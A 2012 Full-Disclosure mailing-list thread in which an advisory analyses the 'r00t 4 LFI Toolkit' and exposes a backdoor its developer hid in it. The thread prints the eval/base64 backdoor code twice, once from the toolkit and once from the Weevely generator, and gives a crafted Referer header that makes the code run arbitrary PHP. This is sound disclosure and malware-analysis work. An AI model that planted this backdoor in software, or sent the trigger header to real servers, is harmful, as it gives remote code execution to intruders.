Date: Sun, 19 Feb 2012 19:32:13 +0200
From: Anestis Bechtsoudis <bechtsoudis.a@...il.com>
To: InterN0T Advisories <advisories@...ern0t.net>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Analysis of the "r00t 4 LFI Toolkit"

The backdoor PHP code that you included is exactly the same as generated
by Weevely [1] tool, until the 0.4 version of the tool.

For convenience I include the base64 decoded Weevely code here too:

ini_set('error_log','/dev/null');
parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='my' &&
count($a)==9) {echo '<pass>';eval(base64_decode(str_replace(" ", "+",
join(array_slice($a,count($a)-3)))));echo '</pass>';}


For more details you can refer at a relevant post I wrote recently [2].

I haven't dig into "r00t 4 LFI" source code, but from your analysis the
similarities are pretty obvious.

ps: This email has been BCC'ed to Weevely developer.


[1] http://code.google.com/p/weevely/
[2] https://bechtsoudis.com/security/put-weevely-on-the-your-nids-radar/


On 02/19/2012 07:01 PM, InterN0T Advisories wrote:
> Dear Full Disclosure readers,
> 
> 
> Today I saw Joe McCray among others, tweet about the (new) "r00t 4 LFI
> Toolkit", that according to its description:
> -------------------------------------------
> This tool is a php script that assists in performing local file inclusion
> attacks.
> -------------------------------------------
> 
>>> Should be able to perform local file inclusion attacks.
> 
> 
> -:: Overview ::- 
> 
> After studying this tool for a brief 5 minutes, it was obvious that it was
> nowhere what I hoped it to be, as the tool only use one method, the
> "/proc/self/environ" vector (as seen on e.g., the intern0t forums and many
> other sites). 
> 
> The tool is therefore, not capable of performing "attacks", but only 1,
> single type of LFI attack. (Note that the 'S' has been removed.) 
> 
> The method this tool uses, is far from new and doesn't always work either,
> but it's a nice trick that e.g., SirGod wrote about on the intern0t forums
> in 2009. (This tool was released the 18th February 2012.)
> 
> 
> -:: Vulnerabilities ::- 
> 
> Further study of this tool reveals:
> - None of the output from the tool is sanitized, meaning the attacker
> using the script, can get XSS'd (and CSRF'd), if the target has changed
> e.g., the 'uname -a' command (which is relatively simple to do), to include
> (print) JavaScript instead. If this happens, the attacker may end up
> attacking himself, crashing or something third, depending on the type of
> XSS payload.
> 
> - The most interesting part, is on line 92, where the "developer"
> (KedAns-Dz), has decided to >>backdoor<< the tool.
> 
> 
> -:: The Backdoor ::- 
> 
> Analysis of the backdoor:
> By sending a HTTP request, that includes a specially crafted referer, it
> is possible to execute PHP code:
> -------------------------------------------
> Referer: a1=iz&a2=&a3=&a4=&a5=&a6=&a7=&a8=&a0=cGhwaW5mbygpOw==
> -------------------------------------------
> 
> 
> This referer will make the script execute: phpinfo();
> 
> 
> -:: Code Review ::-
> 
> The code that enables the developer to use the script as a backdoor looks
> like the following:
> -------------------------------------------
> parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='iz' &&
> count($a)==9) { echo '<star>';eval(base64_decode(str_replace(" ", "+",
> join(array_slice($a,count($a)-3)))));echo '</star>';} 
> -------------------------------------------
> 
> 
> It certainly took a little bit of study to trigger, but in essence here's
> what it do:
> 1. Parse the HTTP Referer string into variable: $a ("Referer:" is not
> included.)
> 2. If the first array value (not key / arg), is a string named: iz
> 3. And if there's 9 (different) arrays, then
> 4. Print out the contents of..
> 
> 
> This requires a bit more in-depth explanation:
> A) Evaluate the following as PHP code:
> B) Base64_decode the input:
> C) Replace " " (space) with "+" (plus), in case they occur.
> D) Use the last three array values from the HTTP referer.
> (You don't have to use all three, using the last will work fine.)
> 
> 
> To make it all a lot more simple:
> -------------------------------------------
> Referer:Array1=iz&Array2=&Array3=&Array4=&Array5=&Array6=&Array7=&Array8=&Array0=[BASE64
> Code that will be executed as PHP.]
> -------------------------------------------
> 
> 
> Screenshot:
> http://i.imgur.com/PXcSX.png
> 
> 
> References:
> http://forum.intern0t.org/offensive-guides-information/4113-analysis-r00t-4-local-file-inclusion-toolkit.html
> http://forum.intern0t.org/general-hacking-discussions/1258-shell-via-local-file-inclusion-proc-self-environ-method-step-step.html
> http://packetstormsecurity.org/files/109940/
> https://twitter.com/#!/j0emccray/status/170941195030233090
> https://twitter.com/#!/EChavarro/status/170941489629761537
> http://i.imgur.com/PXcSX.png
> 
> 
> 
> Best regards,
> MaXe
> 
> _______________________________________________
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